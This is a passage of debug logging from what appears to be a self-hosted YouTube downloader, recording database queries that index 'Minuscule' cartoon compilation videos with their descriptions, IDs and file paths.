reserved\r\n\r\n#flies #spider #race #toys #Telekinesis #Chase #Spider #Powers #Minuscule #nature #insects #ladybugs #animatedseries", "Mad fly | Minuscule 🍃 15' Compilation", "MmFinvp6tCk", 734, false, 5, "https://www.youtube.com/watch?v=MmFinvp6tCk", "/downloads/Miniscule Season 2/2025-03-29 Mad fly | Minuscule 🍃 15' Compilation/Mad fly | Minuscule 🍃 15' Compilation [MmFinvp6tCk].mp4", false, ~U[2025-03-29 19:00:42Z]] 22:15:39.278 [debug] QUERY OK source="sources" db=0.4ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.279 [debug] QUERY OK source="media_items" db=0.8ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-20 11:01:31Z], 5] 22:15:39.289 [debug] QUERY OK source="media_items" db=8.9ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Vegetable Garden | S02E10\n00:03:44 | Trapped | S02E64\n00:07:27 | The Monster Of The Haunted Swamp | S02E37\n00:10:57 | At Full Speed | S02E27\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#vegetable #garden #insects #gardener #trapped #escape #rescue #Minuscule #nature #ladybugs #animatedseries", "The Vegetable Garden | Minuscule 🍃 20' Compilation", "0af59b73-0216-4d56-b699-4ef249414523", "Q7a7mvz2wZU", 920, false, 5, "https://www.youtube.com/watch?v=Q7a7mvz2wZU", 69, "/downloads/Miniscule Season 2/2025-03-20 The Vegetable Garden | Minuscule 🍃 20' Compilation/The Vegetable Garden | Minuscule 🍃 20' Compilation [Q7a7mvz2wZU].mp4", false, false, false, [], 1, ~U[2025-03-20 11:01:31Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Vegetable Garden | S02E10\n00:03:44 | Trapped | S02E64\n00:07:27 | The Monster Of The Haunted Swamp | S02E37\n00:10:57 | At Full Speed | S02E27\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#vegetable #garden #insects #gardener #trapped #escape #rescue #Minuscule #nature #ladybugs #animatedseries", "The Vegetable Garden | Minuscule 🍃 20' Compilation", "Q7a7mvz2wZU", 920, false, 5, "https://www.youtube.com/watch?v=Q7a7mvz2wZU", "/downloads/Miniscule Season 2/2025-03-20 The Vegetable Garden | Minuscule 🍃 20' Compilation/The Vegetable Garden | Minuscule 🍃 20' Compilation [Q7a7mvz2wZU].mp4", false, ~U[2025-03-20 11:01:31Z]] 22:15:39.290 [debug] QUERY OK source="sources" db=0.4ms idle=12.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.291 [debug] QUERY OK source="media_items" db=0.9ms idle=12.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-22 19:00:45Z], 5] 22:15:39.294 [debug] QUERY OK source="media_items" db=2.4ms idle=12.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | It's a tie! | S02E67\n00:03:40 | Twelve Angry Snails | S02E66\n00:07:13 | Sleep Walker | S02E68\n00:10:37 | Black Slope For Gastropod Skiers | S02E55\n00:14:23 | The Long Road | S02E34\n00:18:05 | Thirsty | S02E29\n00:21:38 | Night of the Gastropods | S02E18\n00:25:23 | Go Blue Go! | S02E54\n00:29:05 | The Iron Monster | S02E33\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#insects #games #competition #referee #snails #escape #gourmet #restaurant #Minuscule #nature #ladybugs #animatedseries", "It's a tie! 🍃 Minuscule 🍃| 45' Compilation", "9a9f87a9-31ce-4c32-b10a-64716d2df5b3", "hYE3G--61A8", 1997, false, 5, "https://www.youtube.com/watch?v=hYE3G--61A8", 70, "/downloads/Miniscule Season 2/2025-03-22 It's a tie! 🍃 Minuscule 🍃| 45' Compilation/It's a tie! 🍃 Minuscule 🍃| 45' Compilation [hYE3G--61A8].mp4", false, false, false, [], 1, ~U[2025-03-22 19:00:45Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | It's a tie! | S02E67\n00:03:40 | Twelve Angry Snails | S02E66\n00:07:13 | Sleep Walker | S02E68\n00:10:37 | Black Slope For Gastropod Skiers | S02E55\n00:14:23 | The Long Road | S02E34\n00:18:05 | Thirsty | S02E29\n00:21:38 | Night of the Gastropods | S02E18\n00:25:23 | Go Blue Go! | S02E54\n00:29:05 | The Iron Monster | S02E33\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#insects #games #competition #referee #snails #escape #gourmet #restaurant #Minuscule #nature #ladybugs #animatedseries", "It's a tie! 🍃 Minuscule 🍃| 45' Compilation", "hYE3G--61A8", 1997, false, 5, "https://www.youtube.com/watch?v=hYE3G--61A8", "/downloads/Miniscule Season 2/2025-03-22 It's a tie! 🍃 Minuscule 🍃| 45' Compilation/It's a tie! 🍃 Minuscule 🍃| 45' Compilation [hYE3G--61A8].mp4", false, ~U[2025-03-22 19:00:45Z]] 22:15:39.295 [debug] QUERY OK source="sources" db=0.4ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.296 [debug] QUERY OK source="media_items" db=0.8ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-18 07:00:59Z], 5] 22:15:39.300 [debug] QUERY OK source="media_items" db=2.2ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Butterfly Effect | S02E23\n00:03:22 | A Butterfly's Nightmare | S02E20\n00:06:38 | Hop On! | S02E25\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#butterfly #flutter #fields #reaction #Butterfly #Caterpillar #Nightmare #Cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "The Butterfly Effect 🦋 Minuscule 🍃15' Compilation", "86f3fbf1-d9d5-4edb-99f9-5fdc4556c919", "x_l22YIpeVo", 654, false, 5, "https://www.youtube.com/watch?v=x_l22YIpeVo", 71, "/downloads/Miniscule Season 2/2025-03-18 The Butterfly Effect 🦋 Minuscule 🍃15' Compilation/The Butterfly Effect 🦋 Minuscule 🍃15' Compilation [x_l22YIpeVo].mp4", false, false, false, [], 1, ~U[2025-03-18 07:00:59Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Butterfly Effect | S02E23\n00:03:22 | A Butterfly's Nightmare | S02E20\n00:06:38 | Hop On! | S02E25\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#butterfly #flutter #fields #reaction #Butterfly #Caterpillar #Nightmare #Cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "The Butterfly Effect 🦋 Minuscule 🍃15' Compilation", "x_l22YIpeVo", 654, false, 5, "https://www.youtube.com/watch?v=x_l22YIpeVo", "/downloads/Miniscule Season 2/2025-03-18 The Butterfly Effect 🦋 Minuscule 🍃15' Compilation/The Butterfly Effect 🦋 Minuscule 🍃15' Compilation [x_l22YIpeVo].mp4", false, ~U[2025-03-18 07:00:59Z]] 22:15:39.301 [debug] QUERY OK source="sources" db=0.3ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.302 [debug] QUERY OK source="media_items" db=0.5ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-15 06:00:44Z], 5] 22:15:39.304 [debug] QUERY OK source="media_items" db=1.5ms idle=5.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | If Only Lonely | S02E22\n00:03:45 | Top Tabasco | S02E70\n00:07:22 | The Wing Case | S02E01\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybug #sibling #anxiety #ants #Tabasco #wasp #patrol #Minuscule #nature #insects #ladybugs #animatedseries", "If Only Lonely 🍃 Minuscule 🍃 15' Compilation", "d908f094-4efc-470c-b696-1cd74c4812d9", "vPCGZgPoNQc", 707, false, 5, "https://www.youtube.com/watch?v=vPCGZgPoNQc", 72, "/downloads/Miniscule Season 2/2025-04-15 If Only Lonely 🍃 Minuscule 🍃 15' Compilation/If Only Lonely 🍃 Minuscule 🍃 15' Compilation [vPCGZgPoNQc].mp4", false, false, false, [], 1, ~U[2025-04-15 06:00:44Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | If Only Lonely | S02E22\n00:03:45 | Top Tabasco | S02E70\n00:07:22 | The Wing Case | S02E01\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybug #sibling #anxiety #ants #Tabasco #wasp #patrol #Minuscule #nature #insects #ladybugs #animatedseries", "If Only Lonely 🍃 Minuscule 🍃 15' Compilation", "vPCGZgPoNQc", 707, false, 5, "https://www.youtube.com/watch?v=vPCGZgPoNQc", "/downloads/Miniscule Season 2/2025-04-15 If Only Lonely 🍃 Minuscule 🍃 15' Compilation/If Only Lonely 🍃 Minuscule 🍃 15' Compilation [vPCGZgPoNQc].mp4", false, ~U[2025-04-15 06:00:44Z]] 22:15:39.304 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.306 [debug] QUERY OK source="media_items" db=0.7ms idle=4.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-15 19:00:46Z], 5] 22:15:39.737 [debug] QUERY OK source="media_items" db=1858.7ms idle=706.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The Ants / Les Fourmis (Season 2)", "22300a47-56c6-4d91-a213-6f8e5e33b9e9", "AGek0XLmbLI", 368, false, 5, "https://www.youtube.com/watch?v=AGek0XLmbLI", 187, "/downloads/Miniscule Season 2/2014-11-14 Minuscule - The Ants ⧸ Les Fourmis (Season 2)/Minuscule - The Ants ⧸ Les Fourmis (Season 2) [AGek0XLmbLI].mp4", false, false, false, [], 1, ~U[2014-11-14 18:31:41Z], ~U[2025-12-12 05:15:37Z], ~U[2025-12-12 05:15:37Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The Ants / Les Fourmis (Season 2)", "AGek0XLmbLI", 368, false, 5, "https://www.youtube.com/watch?v=AGek0XLmbLI", "/downloads/Miniscule Season 2/2014-11-14 Minuscule - The Ants ⧸ Les Fourmis (Season 2)/Minuscule - The Ants ⧸ Les Fourmis (Season 2) [AGek0XLmbLI].mp4", false, ~U[2014-11-14 18:31:41Z]] 22:15:39.737 [debug] QUERY OK source="sources" db=0.4ms idle=432.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.738 [debug] QUERY OK source="media_profiles" db=0.4ms idle=432.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:15:39.739 [debug] QUERY OK source="media_items" db=0.6ms idle=2.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89212] 22:15:39.740 [debug] Gracefully stopping file follower 22:15:46.106 [debug] QUERY OK source="media_items" db=6798.9ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Pea supper | S03E01\n00:01:29 | Glue | S03E06\n00:03:06 | He Who Laughs Last, laughs Longest | S03E12\n00:04:35 | The Artist | S03E18\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#spider #peas #supper #techniques #Glue #Sticky #Spider #Trap #Minuscule #nature #insects #ladybugs #animatedseries", "Pea supper | Minuscule 🍃10' Compilation", "53c37f14-3f0e-48f9-9c76-d80e9c670b7b", "Z6u1Kv61MBA", 399, false, 5, "https://www.youtube.com/watch?v=Z6u1Kv61MBA", 73, "/downloads/Miniscule Season 2/2025-03-15 Pea supper | Minuscule 🍃10' Compilation/Pea supper | Minuscule 🍃10' Compilation [Z6u1Kv61MBA].mp4", false, false, false, [], 1, ~U[2025-03-15 19:00:46Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 